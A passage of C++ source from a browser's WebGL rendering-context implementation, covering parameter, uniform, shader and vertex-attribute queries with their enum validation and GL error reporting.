GetUnsignedIntParameter(script_state, pname);\n    case GL_STENCIL_WRITEMASK:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_SUBPIXEL_BITS:\n      return GetIntParameter(script_state, pname);\n    case GL_TEXTURE_BINDING_2D:\n      return WebGLAny(\n          script_state,\n          texture_units_[active_texture_unit_].texture2d_binding_.Get());\n    case GL_TEXTURE_BINDING_CUBE_MAP:\n      return WebGLAny(\n          script_state,\n          texture_units_[active_texture_unit_].texture_cube_map_binding_.Get());\n    case GL_UNPACK_ALIGNMENT:\n      return GetIntParameter(script_state, pname);\n    case GC3D_UNPACK_FLIP_Y_WEBGL:\n      return WebGLAny(script_state, unpack_flip_y_);\n    case GC3D_UNPACK_PREMULTIPLY_ALPHA_WEBGL:\n      return WebGLAny(script_state, unpack_premultiply_alpha_);\n    case GC3D_UNPACK_COLORSPACE_CONVERSION_WEBGL:\n      return WebGLAny(script_state, unpack_colorspace_conversion_);\n    case GL_VENDOR:\n      return WebGLAny(script_state, String(\"WebKit\"));\n    case GL_VERSION:\n      return WebGLAny(\n          script_state,\n          \"WebGL 1.0 (\" + String(ContextGL()->GetString(GL_VERSION)) + \")\");\n    case GL_VIEWPORT:\n      return GetWebGLIntArrayParameter(script_state, pname);\n    case GL_FRAGMENT_SHADER_DERIVATIVE_HINT_OES:  // OES_standard_derivatives\n      if (ExtensionEnabled(kOESStandardDerivativesName) || IsWebGL2OrHigher())\n        return GetUnsignedIntParameter(script_state,\n                                       GL_FRAGMENT_SHADER_DERIVATIVE_HINT_OES);\n      SynthesizeGLError(\n          GL_INVALID_ENUM, \"getParameter\",\n          \"invalid parameter name, OES_standard_derivatives not enabled\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    case WebGLDebugRendererInfo::kUnmaskedRendererWebgl:\n      if (ExtensionEnabled(kWebGLDebugRendererInfoName))\n        return WebGLAny(script_state,\n                        String(ContextGL()->GetString(GL_RENDERER)));\n      SynthesizeGLError(\n          GL_INVALID_ENUM, \"getParameter\",\n          \"invalid parameter name, WEBGL_debug_renderer_info not enabled\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    case WebGLDebugRendererInfo::kUnmaskedVendorWebgl:\n      if (ExtensionEnabled(kWebGLDebugRendererInfoName))\n        return WebGLAny(script_state,\n                        String(ContextGL()->GetString(GL_VENDOR)));\n      SynthesizeGLError(\n          GL_INVALID_ENUM, \"getParameter\",\n          \"invalid parameter name, WEBGL_debug_renderer_info not enabled\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    case GL_VERTEX_ARRAY_BINDING_OES:  // OES_vertex_array_object\n      if (ExtensionEnabled(kOESVertexArrayObjectName) || IsWebGL2OrHigher()) {\n        if (!bound_vertex_array_object_->IsDefaultObject())\n          return WebGLAny(script_state, bound_vertex_array_object_.Get());\n        return ScriptValue::CreateNull(script_state->GetIsolate());\n      }\n      SynthesizeGLError(\n          GL_INVALID_ENUM, \"getParameter\",\n          \"invalid parameter name, OES_vertex_array_object not enabled\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    case GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT:  // EXT_texture_filter_anisotropic\n      if (ExtensionEnabled(kEXTTextureFilterAnisotropicName)) {\n        return GetFloatParameter(script_state,\n                                 GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT);\n      }\n      SynthesizeGLError(\n          GL_INVALID_ENUM, \"getParameter\",\n          \"invalid parameter name, EXT_texture_filter_anisotropic not enabled\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    case GL_MAX_COLOR_ATTACHMENTS_EXT:  // EXT_draw_buffers BEGIN\n      if (ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher())\n        return WebGLAny(script_state, MaxColorAttachments());\n      SynthesizeGLError(\n          GL_INVALID_ENUM, \"getParameter\",\n          \"invalid parameter name, WEBGL_draw_buffers not enabled\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    case GL_MAX_DRAW_BUFFERS_EXT:\n      if (ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher())\n        return WebGLAny(script_state, MaxDrawBuffers());\n      SynthesizeGLError(\n          GL_INVALID_ENUM, \"getParameter\",\n          \"invalid parameter name, WEBGL_draw_buffers not enabled\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    case GL_TIMESTAMP_EXT:\n      if (ExtensionEnabled(kEXTDisjointTimerQueryName))\n        return WebGLAny(script_state, 0);\n      SynthesizeGLError(\n          GL_INVALID_ENUM, \"getParameter\",\n          \"invalid parameter name, EXT_disjoint_timer_query not enabled\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    case GL_GPU_DISJOINT_EXT:\n      if (ExtensionEnabled(kEXTDisjointTimerQueryName))\n        return GetBooleanParameter(script_state, GL_GPU_DISJOINT_EXT);\n      SynthesizeGLError(\n          GL_INVALID_ENUM, \"getParameter\",\n          \"invalid parameter name, EXT_disjoint_timer_query not enabled\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    case GL_MAX_VIEWS_OVR:\n      if (ExtensionEnabled(kOVRMultiview2Name))\n        return GetIntParameter(script_state, pname);\n      SynthesizeGLError(GL_INVALID_ENUM, \"getParameter\",\n                        \"invalid parameter name, OVR_multiview2 not enabled\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    default:\n      if ((ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher()) &&\n          pname >= GL_DRAW_BUFFER0_EXT &&\n          pname < static_cast<GLenum>(GL_DRAW_BUFFER0_EXT + MaxDrawBuffers())) {\n        GLint value = GL_NONE;\n        if (framebuffer_binding_)\n          value = framebuffer_binding_->GetDrawBuffer(pname);\n        else  // emulated backbuffer\n          value = back_draw_buffer_;\n        return WebGLAny(script_state, value);\n      }\n      SynthesizeGLError(GL_INVALID_ENUM, \"getParameter\",\n                        \"invalid parameter name\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n}\n\nScriptValue WebGLRenderingContextBase::getProgramParameter(\n    ScriptState* script_state,\n    WebGLProgram* program,\n    GLenum pname) {\n  if (!ValidateWebGLProgramOrShader(\"getProgramParamter\", program)) {\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n\n  GLint value = 0;\n  switch (pname) {\n    case GL_DELETE_STATUS:\n      return WebGLAny(script_state, program->MarkedForDeletion());\n    case GL_VALIDATE_STATUS:\n      ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value);\n      return WebGLAny(script_state, static_cast<bool>(value));\n    case GL_LINK_STATUS:\n      return WebGLAny(script_state, program->LinkStatus(this));\n    case GL_COMPLETION_STATUS_KHR:\n      if (!ExtensionEnabled(kKHRParallelShaderCompileName)) {\n        SynthesizeGLError(GL_INVALID_ENUM, \"getProgramParameter\",\n                          \"invalid parameter name\");\n        return ScriptValue::CreateNull(script_state->GetIsolate());\n      }\n      bool completed;\n      if (checkProgramCompletionQueryAvailable(program, &completed)) {\n        return WebGLAny(script_state, completed);\n      }\n      return WebGLAny(script_state, program->CompletionStatus(this));\n    case GL_ACTIVE_UNIFORM_BLOCKS:\n    case GL_TRANSFORM_FEEDBACK_VARYINGS:\n      if (!IsWebGL2OrHigher()) {\n        SynthesizeGLError(GL_INVALID_ENUM, \"getProgramParameter\",\n                          \"invalid parameter name\");\n        return ScriptValue::CreateNull(script_state->GetIsolate());\n      }\n      FALLTHROUGH;\n    case GL_ATTACHED_SHADERS:\n    case GL_ACTIVE_ATTRIBUTES:\n    case GL_ACTIVE_UNIFORMS:\n      ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value);\n      return WebGLAny(script_state, value);\n    case GL_TRANSFORM_FEEDBACK_BUFFER_MODE:\n      if (!IsWebGL2OrHigher()) {\n        SynthesizeGLError(GL_INVALID_ENUM, \"getProgramParameter\",\n                          \"invalid parameter name\");\n        return ScriptValue::CreateNull(script_state->GetIsolate());\n      }\n      ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value);\n      return WebGLAny(script_state, static_cast<unsigned>(value));\n    case GL_ACTIVE_ATOMIC_COUNTER_BUFFERS:\n      if (context_type_ == Platform::kWebGL2ComputeContextType) {\n        ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value);\n        return WebGLAny(script_state, static_cast<unsigned>(value));\n      }\n      FALLTHROUGH;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"getProgramParameter\",\n                        \"invalid parameter name\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n}\n\nString WebGLRenderingContextBase::getProgramInfoLog(WebGLProgram* program) {\n  if (!ValidateWebGLProgramOrShader(\"getProgramInfoLog\", program))\n    return String();\n  GLStringQuery query(ContextGL());\n  return query.Run<GLStringQuery::ProgramInfoLog>(ObjectNonZero(program));\n}\n\nScriptValue WebGLRenderingContextBase::getRenderbufferParameter(\n    ScriptState* script_state,\n    GLenum target,\n    GLenum pname) {\n  if (isContextLost())\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  if (target != GL_RENDERBUFFER) {\n    SynthesizeGLError(GL_INVALID_ENUM, \"getRenderbufferParameter\",\n                      \"invalid target\");\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n  if (!renderbuffer_binding_ || !renderbuffer_binding_->Object()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"getRenderbufferParameter\",\n                      \"no renderbuffer bound\");\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n\n  GLint value = 0;\n  switch (pname) {\n    case GL_RENDERBUFFER_SAMPLES:\n      if (!IsWebGL2OrHigher()) {\n        SynthesizeGLError(GL_INVALID_ENUM, \"getRenderbufferParameter\",\n                          \"invalid parameter name\");\n        return ScriptValue::CreateNull(script_state->GetIsolate());\n      }\n      FALLTHROUGH;\n    case GL_RENDERBUFFER_WIDTH:\n    case GL_RENDERBUFFER_HEIGHT:\n    case GL_RENDERBUFFER_RED_SIZE:\n    case GL_RENDERBUFFER_GREEN_SIZE:\n    case GL_RENDERBUFFER_BLUE_SIZE:\n    case GL_RENDERBUFFER_ALPHA_SIZE:\n    case GL_RENDERBUFFER_DEPTH_SIZE:\n      ContextGL()->GetRenderbufferParameteriv(target, pname, &value);\n      return WebGLAny(script_state, value);\n    case GL_RENDERBUFFER_STENCIL_SIZE:\n      ContextGL()->GetRenderbufferParameteriv(target, pname, &value);\n      return WebGLAny(script_state, value);\n    case GL_RENDERBUFFER_INTERNAL_FORMAT:\n      return WebGLAny(script_state, renderbuffer_binding_->InternalFormat());\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"getRenderbufferParameter\",\n                        \"invalid parameter name\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n}\n\nScriptValue WebGLRenderingContextBase::getShaderParameter(\n    ScriptState* script_state,\n    WebGLShader* shader,\n    GLenum pname) {\n  if (!ValidateWebGLProgramOrShader(\"getShaderParameter\", shader)) {\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n  GLint value = 0;\n  switch (pname) {\n    case GL_DELETE_STATUS:\n      return WebGLAny(script_state, shader->MarkedForDeletion());\n    case GL_COMPILE_STATUS:\n      ContextGL()->GetShaderiv(ObjectOrZero(shader), pname, &value);\n      return WebGLAny(script_state, static_cast<bool>(value));\n    case GL_COMPLETION_STATUS_KHR:\n      if (!ExtensionEnabled(kKHRParallelShaderCompileName)) {\n        SynthesizeGLError(GL_INVALID_ENUM, \"getShaderParameter\",\n                          \"invalid parameter name\");\n        return ScriptValue::CreateNull(script_state->GetIsolate());\n      }\n      ContextGL()->GetShaderiv(ObjectOrZero(shader), pname, &value);\n      return WebGLAny(script_state, static_cast<bool>(value));\n    case GL_SHADER_TYPE:\n      ContextGL()->GetShaderiv(ObjectOrZero(shader), pname, &value);\n      return WebGLAny(script_state, static_cast<unsigned>(value));\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"getShaderParameter\",\n                        \"invalid parameter name\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n}\n\nString WebGLRenderingContextBase::getShaderInfoLog(WebGLShader* shader) {\n  if (!ValidateWebGLProgramOrShader(\"getShaderInfoLog\", shader))\n    return String();\n  GLStringQuery query(ContextGL());\n  return query.Run<GLStringQuery::ShaderInfoLog>(ObjectNonZero(shader));\n}\n\nWebGLShaderPrecisionFormat* WebGLRenderingContextBase::getShaderPrecisionFormat(\n    GLenum shader_type,\n    GLenum precision_type) {\n  if (isContextLost())\n    return nullptr;\n  if (!ValidateShaderType(\"getShaderPrecisionFormat\", shader_type)) {\n    return nullptr;\n  }\n  switch (precision_type) {\n    case GL_LOW_FLOAT:\n    case GL_MEDIUM_FLOAT:\n    case GL_HIGH_FLOAT:\n    case GL_LOW_INT:\n    case GL_MEDIUM_INT:\n    case GL_HIGH_INT:\n      break;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"getShaderPrecisionFormat\",\n                        \"invalid precision type\");\n      return nullptr;\n  }\n\n  GLint range[2] = {0, 0};\n  GLint precision = 0;\n  ContextGL()->GetShaderPrecisionFormat(shader_type, precision_type, range,\n                                        &precision);\n  return MakeGarbageCollected<WebGLShaderPrecisionFormat>(range[0], range[1],\n                                                          precision);\n}\n\nString WebGLRenderingContextBase::getShaderSource(WebGLShader* shader) {\n  if (!ValidateWebGLProgramOrShader(\"getShaderSource\", shader))\n    return String();\n  return EnsureNotNull(shader->Source());\n}\n\nbase::Optional<Vector<String>>\nWebGLRenderingContextBase::getSupportedExtensions() {\n  if (isContextLost())\n    return base::nullopt;\n\n  Vector<String> result;\n\n  for (ExtensionTracker* tracker : extensions_) {\n    if (ExtensionSupportedAndAllowed(tracker)) {\n      const char* const* prefixes = tracker->Prefixes();\n      for (; *prefixes; ++prefixes) {\n        String prefixed_name = String(*prefixes) + tracker->ExtensionName();\n        result.push_back(prefixed_name);\n      }\n    }\n  }\n\n  return result;\n}\n\nScriptValue WebGLRenderingContextBase::getTexParameter(\n    ScriptState* script_state,\n    GLenum target,\n    GLenum pname) {\n  if (isContextLost())\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  if (!ValidateTextureBinding(\"getTexParameter\", target))\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  switch (pname) {\n    case GL_TEXTURE_MAG_FILTER:\n    case GL_TEXTURE_MIN_FILTER:\n    case GL_TEXTURE_WRAP_S:\n    case GL_TEXTURE_WRAP_T: {\n      GLint value = 0;\n      ContextGL()->GetTexParameteriv(target, pname, &value);\n      return WebGLAny(script_state, static_cast<unsigned>(value));\n    }\n    case GL_TEXTURE_MAX_ANISOTROPY_EXT:  // EXT_texture_filter_anisotropic\n      if (ExtensionEnabled(kEXTTextureFilterAnisotropicName)) {\n        GLfloat value = 0.f;\n        ContextGL()->GetTexParameterfv(target, pname, &value);\n        return WebGLAny(script_state, value);\n      }\n      SynthesizeGLError(\n          GL_INVALID_ENUM, \"getTexParameter\",\n          \"invalid parameter name, EXT_texture_filter_anisotropic not enabled\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"getTexParameter\",\n                        \"invalid parameter name\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n}\n\nScriptValue WebGLRenderingContextBase::getUniform(\n    ScriptState* script_state,\n    WebGLProgram* program,\n    const WebGLUniformLocation* uniform_location) {\n  if (!ValidateWebGLProgramOrShader(\"getUniform\", program))\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  DCHECK(uniform_location);\n  if (uniform_location->Program() != program) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"getUniform\",\n                      \"no uniformlocation or not valid for this program\");\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n  GLint location = uniform_location->Location();\n\n  GLuint program_id = ObjectNonZero(program);\n  GLint max_name_length = -1;\n  ContextGL()->GetProgramiv(program_id, GL_ACTIVE_UNIFORM_MAX_LENGTH,\n                            &max_name_length);\n  if (max_name_length < 0)\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  if (max_name_length == 0) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"getUniform\",\n                      \"no active uniforms exist\");\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n\n  // FIXME: make this more efficient using WebGLUniformLocation and caching\n  // types in it.\n  GLint active_uniforms = 0;\n  ContextGL()->GetProgramiv(program_id, GL_ACTIVE_UNIFORMS, &active_uniforms);\n  for (GLint i = 0; i < active_uniforms; i++) {\n    LChar* name_ptr;\n    scoped_refptr<StringImpl> name_impl =\n        StringImpl::CreateUninitialized(max_name_length, name_ptr);\n    GLsizei name_length = 0;\n    GLint size = -1;\n    GLenum type = 0;\n    ContextGL()->GetActiveUniform(program_id, i, max_name_length, &name_length,\n                                  &size, &type,\n                                  reinterpret_cast<GLchar*>(name_ptr));\n    if (size < 0)\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    String name(name_impl->Substring(0, name_length));\n    StringBuilder name_builder;\n    // Strip \"[0]\" from the name if it's an array.\n    if (size > 1 && name.EndsWith(\"[0]\"))\n      name = name.Left(name.length() - 3);\n    // If it's an array, we need to iterate through each element, appending\n    // \"[index]\" to the name.\n    for (GLint index = 0; index < size; ++index) {\n      name_builder.Clear();\n      name_builder.Append(name);\n      if (size > 1 && index >= 1) {\n        name_builder.Append('[');\n        name_builder.AppendNumber(index);\n        name_builder.Append(']');\n      }\n      // Now need to look this up by name again to find its location\n      GLint loc = ContextGL()->GetUniformLocation(\n          ObjectOrZero(program), name_builder.ToString().Utf8().c_str());\n      if (loc == location) {\n        // Found it. Use the type in the ActiveInfo to determine the return\n        // type.\n        GLenum base_type;\n        unsigned length;\n        switch (type) {\n          case GL_BOOL:\n            base_type = GL_BOOL;\n            length = 1;\n            break;\n          case GL_BOOL_VEC2:\n            base_type = GL_BOOL;\n            length = 2;\n            break;\n          case GL_BOOL_VEC3:\n            base_type = GL_BOOL;\n            length = 3;\n            break;\n          case GL_BOOL_VEC4:\n            base_type = GL_BOOL;\n            length = 4;\n            break;\n          case GL_INT:\n            base_type = GL_INT;\n            length = 1;\n            break;\n          case GL_INT_VEC2:\n            base_type = GL_INT;\n            length = 2;\n            break;\n          case GL_INT_VEC3:\n            base_type = GL_INT;\n            length = 3;\n            break;\n          case GL_INT_VEC4:\n            base_type = GL_INT;\n            length = 4;\n            break;\n          case GL_FLOAT:\n            base_type = GL_FLOAT;\n            length = 1;\n            break;\n          case GL_FLOAT_VEC2:\n            base_type = GL_FLOAT;\n            length = 2;\n            break;\n          case GL_FLOAT_VEC3:\n            base_type = GL_FLOAT;\n            length = 3;\n            break;\n          case GL_FLOAT_VEC4:\n            base_type = GL_FLOAT;\n            length = 4;\n            break;\n          case GL_FLOAT_MAT2:\n            base_type = GL_FLOAT;\n            length = 4;\n            break;\n          case GL_FLOAT_MAT3:\n            base_type = GL_FLOAT;\n            length = 9;\n            break;\n          case GL_FLOAT_MAT4:\n            base_type = GL_FLOAT;\n            length = 16;\n            break;\n          case GL_SAMPLER_2D:\n          case GL_SAMPLER_CUBE:\n            base_type = GL_INT;\n            length = 1;\n            break;\n          case GL_SAMPLER_VIDEO_IMAGE_WEBGL:\n            if (!ExtensionEnabled(kWebGLVideoTextureName)) {\n              SynthesizeGLError(\n                  GL_INVALID_VALUE, \"getUniform\",\n                  \"unhandled type, WEBGL_video_texture extension not enabled\");\n              return ScriptValue::CreateNull(script_state->GetIsolate());\n            }\n            base_type = GL_INT;\n            length = 1;\n            break;\n          default:\n            if (!IsWebGL2OrHigher()) {\n              // Can't handle this type\n              SynthesizeGLError(GL_INVALID_VALUE, \"getUniform\",\n                                \"unhandled type\");\n              return ScriptValue::CreateNull(script_state->GetIsolate());\n            }\n            // handle GLenums for WebGL 2.0 or higher\n            switch (type) {\n              case GL_UNSIGNED_INT:\n                base_type = GL_UNSIGNED_INT;\n                length = 1;\n                break;\n              case GL_UNSIGNED_INT_VEC2:\n                base_type = GL_UNSIGNED_INT;\n                length = 2;\n                break;\n              case GL_UNSIGNED_INT_VEC3:\n                base_type = GL_UNSIGNED_INT;\n                length = 3;\n                break;\n              case GL_UNSIGNED_INT_VEC4:\n                base_type = GL_UNSIGNED_INT;\n                length = 4;\n                break;\n              case GL_FLOAT_MAT2x3:\n                base_type = GL_FLOAT;\n                length = 6;\n                break;\n              case GL_FLOAT_MAT2x4:\n                base_type = GL_FLOAT;\n                length = 8;\n                break;\n              case GL_FLOAT_MAT3x2:\n                base_type = GL_FLOAT;\n                length = 6;\n                break;\n              case GL_FLOAT_MAT3x4:\n                base_type = GL_FLOAT;\n                length = 12;\n                break;\n              case GL_FLOAT_MAT4x2:\n                base_type = GL_FLOAT;\n                length = 8;\n                break;\n              case GL_FLOAT_MAT4x3:\n                base_type = GL_FLOAT;\n                length = 12;\n                break;\n              case GL_SAMPLER_3D:\n              case GL_SAMPLER_2D_ARRAY:\n              case GL_SAMPLER_2D_SHADOW:\n              case GL_SAMPLER_CUBE_SHADOW:\n              case GL_SAMPLER_2D_ARRAY_SHADOW:\n              case GL_INT_SAMPLER_2D:\n              case GL_INT_SAMPLER_CUBE:\n              case GL_INT_SAMPLER_3D:\n              case GL_INT_SAMPLER_2D_ARRAY:\n              case GL_UNSIGNED_INT_SAMPLER_2D:\n              case GL_UNSIGNED_INT_SAMPLER_CUBE:\n              case GL_UNSIGNED_INT_SAMPLER_3D:\n              case GL_UNSIGNED_INT_SAMPLER_2D_ARRAY:\n                base_type = GL_INT;\n                length = 1;\n                break;\n              case GL_IMAGE_2D:\n              case GL_IMAGE_3D:\n              case GL_IMAGE_CUBE:\n              case GL_IMAGE_2D_ARRAY:\n              case GL_INT_IMAGE_2D:\n              case GL_INT_IMAGE_3D:\n              case GL_INT_IMAGE_CUBE:\n              case GL_INT_IMAGE_2D_ARRAY:\n              case GL_UNSIGNED_INT_IMAGE_2D:\n              case GL_UNSIGNED_INT_IMAGE_3D:\n              case GL_UNSIGNED_INT_IMAGE_CUBE:\n              case GL_UNSIGNED_INT_IMAGE_2D_ARRAY: {\n                if (context_type_ != Platform::kWebGL2ComputeContextType) {\n                  SynthesizeGLError(GL_INVALID_VALUE, \"getUniform\",\n                                    \"unhandled type\");\n                  return ScriptValue::CreateNull(script_state->GetIsolate());\n                }\n                base_type = GL_INT;\n                length = 1;\n                break;\n              }\n              default:\n                // Can't handle this type\n                SynthesizeGLError(GL_INVALID_VALUE, \"getUniform\",\n                                  \"unhandled type\");\n                return ScriptValue::CreateNull(script_state->GetIsolate());\n            }\n        }\n        switch (base_type) {\n          case GL_FLOAT: {\n            GLfloat value[16] = {0};\n            ContextGL()->GetUniformfv(ObjectOrZero(program), location, value);\n            if (length == 1)\n              return WebGLAny(script_state, value[0]);\n            return WebGLAny(script_state,\n                            DOMFloat32Array::Create(value, length));\n          }\n          case GL_INT: {\n            GLint value[4] = {0};\n            ContextGL()->GetUniformiv(ObjectOrZero(program), location, value);\n            if (length == 1)\n              return WebGLAny(script_state, value[0]);\n            return WebGLAny(script_state, DOMInt32Array::Create(value, length));\n          }\n          case GL_UNSIGNED_INT: {\n            GLuint value[4] = {0};\n            ContextGL()->GetUniformuiv(ObjectOrZero(program), location, value);\n            if (length == 1)\n              return WebGLAny(script_state, value[0]);\n            return WebGLAny(script_state,\n                            DOMUint32Array::Create(value, length));\n          }\n          case GL_BOOL: {\n            GLint value[4] = {0};\n            ContextGL()->GetUniformiv(ObjectOrZero(program), location, value);\n            if (length > 1) {\n              bool bool_value[4] = {0};\n              for (unsigned j = 0; j < length; j++)\n                bool_value[j] = static_cast<bool>(value[j]);\n              return WebGLAny(script_state, bool_value, length);\n            }\n            return WebGLAny(script_state, static_cast<bool>(value[0]));\n          }\n          default:\n            NOTIMPLEMENTED();\n        }\n      }\n    }\n  }\n  // If we get here, something went wrong in our unfortunately complex logic\n  // above\n  SynthesizeGLError(GL_INVALID_VALUE, \"getUniform\", \"unknown error\");\n  return ScriptValue::CreateNull(script_state->GetIsolate());\n}\n\nWebGLUniformLocation* WebGLRenderingContextBase::getUniformLocation(\n    WebGLProgram* program,\n    const String& name) {\n  if (!ValidateWebGLProgramOrShader(\"getUniformLocation\", program))\n    return nullptr;\n  if (!ValidateLocationLength(\"getUniformLocation\", name))\n    return nullptr;\n  if (!ValidateString(\"getUniformLocation\", name))\n    return nullptr;\n  if (IsPrefixReserved(name))\n    return nullptr;\n  if (!program->LinkStatus(this)) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"getUniformLocation\",\n                      \"program not linked\");\n    return nullptr;\n  }\n  GLint uniform_location = ContextGL()->GetUniformLocation(\n      ObjectOrZero(program), name.Utf8().c_str());\n  if (uniform_location == -1)\n    return nullptr;\n  return MakeGarbageCollected<WebGLUniformLocation>(program, uniform_location);\n}\n\nScriptValue WebGLRenderingContextBase::getVertexAttrib(\n    ScriptState* script_state,\n    GLuint index,\n    GLenum pname) {\n  if (isContextLost())\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  if (index >= max_vertex_attribs_) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"getVertexAttrib\",\n                      \"index out of range\");\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n\n  if ((ExtensionEnabled(kANGLEInstancedArraysName) || IsWebGL2OrHigher()) &&\n      pname == GL_VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE) {\n    GLint value = 0;\n    ContextGL()->GetVertexAttribiv(index, pname, &value);\n    return WebGLAny(script_state, value);\n  }\n\n  switch (pname) {\n    case GL_VERTEX_ATTRIB_ARRAY_BUFFER_BINDING:\n      return WebGLAny(\n          script_state,\n          bound_vertex_array_object_->GetArrayBufferForAttrib(index));\n    case GL_VERTEX_ATTRIB_ARRAY_ENABLED:\n    case GL_VERTEX_ATTRIB_ARRAY_NORMALIZED: {\n      GLint value = 0;\n      ContextGL()->GetVertexAttribiv(index, pname, &value);\n      return WebGLAny(script_state, static_cast<bool>(value));\n    }\n    case GL_VERTEX_ATTRIB_ARRAY_SIZE:\n    case GL_VERTEX_ATTRIB_ARRAY_STRIDE: {\n      GLint value = 0;\n      ContextGL()->GetVertexAttribiv(index, pname, &value);\n      return WebGLAny(script_state, value);\n    }\n    case GL_VERTEX_ATTRIB_ARRAY_TYPE: {\n      GLint value = 0;\n      ContextGL()->GetVertexAttribiv(index, pname, &value);\n      return WebGLAny(script_state, static_cast<GLenum>(value));\n    }\n    case GL_CURRENT_VERTEX_ATTRIB: {\n      switch (vertex_attrib_type_[index]) {\n        case kFloat32ArrayType: {\n          GLfloat float_value[4];\n          ContextGL()->GetVertexAttribfv(index, pname, float_value);\n          return WebGLAny(script_state,\n                          DOMFloat32Array::Create(float_value, 4));\n        }\n        case kInt32ArrayType: {\n          GLint int_value[4];\n          ContextGL()->GetVertexAttribIiv(index, pname, int_value);\n          return WebGLAny(script_state, DOMInt32Array::Create(int_value, 4));\n        }\n        case kUint32ArrayType: {\n          GLuint uint_value[4];\n          ContextGL()->GetVertexAttribIuiv(index, pname, uint_value);\n          return WebGLAny(script_state, DOMUint32Array::Create(uint_value, 4));\n        }\n        default:\n          NOTREACHED();\n          break;\n      }\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n    }\n    case GL_VERTEX_ATTRIB_ARRAY_INTEGER:\n      if (IsWebGL2OrHigher()) {\n        GLint value = 0;\n        ContextGL()->GetVertexAttribiv(index, pname, &value);\n        return WebGLAny(script_state, static_cast<bool>(value));\n      }\n      FALLTHROUGH;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"getVertexAttrib\",\n                        \"invalid parameter name\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n}\n\nint64_t WebGLRenderingContextBase::getVertexAttribOffset(GLuint index,\n                                                         GLenum pname) {\n  if (isContextLost())\n    return 0;\n  GLvoid* result = nullptr;\n  // NOTE: If pname is ever a value that returns more than 1 element\n  // this will corrupt memory.\n  ContextGL()->GetVertexAttribPointerv(index, pname, &result);\n  return static_cast<int64_t>(reinterpret_cast<intptr_t>(result));\n}\n\nvoid WebGLRenderingContextBase::hint(GLenum target, GLenum mode) {\n  if (isContextLost())\n    return;\n  bool is_valid = false;\n  switch (target) {\n    case GL_GENERATE_MIPMAP_HINT:\n      is_valid = true;\n      break;\n    case GL_FRAGMENT_SHADER_DERIVATIVE_HINT_OES:  // OES_standard_derivatives\n      if (ExtensionEnabled(kOESStandardDerivativesName) || IsWebGL2OrHigher())\n        is_valid = true;\n      break;\n  }\n  if (!is_valid) {\n    SynthesizeGLError(GL_INVALID_ENUM, \"hint\", \"invalid target\");\n    return;\n  }\n  ContextGL()->Hint(target, mode);\n}\n\nGLboolean WebGLRenderingContextBase::isBuffer(WebGLBuffer* buffer) {\n  if (!buffer || isContextLost() || !buffer->Validate(ContextGroup(), this))\n    return 0;\n\n  if (!buffer->HasEverBeenBound())\n    return 0;\n  if (buffer->MarkedForDeletion())\n    return 0;\n\n  return ContextGL()->IsBuffer(buffer->Object());\n}\n\nbool WebGLRenderingContextBase::isContextLost() const {\n  return context_lost_mode_ != kNotLostContext;\n}\n\nGLboolean WebGLRenderingContextBase::isEnabled(GLenum cap) {\n  if (isContextLost() || !ValidateCapability(\"isEnabled\", cap))\n    return 0;\n  if (cap == GL_STENCIL_TEST)\n    return stencil_enabled_;\n  return ContextGL()->IsEnabled(cap);\n}\n\nGLboolean WebGLRenderingContextBase::isFramebuffer(\n    WebGLFramebuffer* framebuffer) {\n  if (!framebuffer || isContextLost() ||\n      !framebuffer->Validate(ContextGroup(), this))\n    return 0;\n\n  if (!framebuffer->HasEverBeenBound())\n    return 0;\n  if (framebuffer->MarkedForDeletion())\n    return 0;\n\n  return 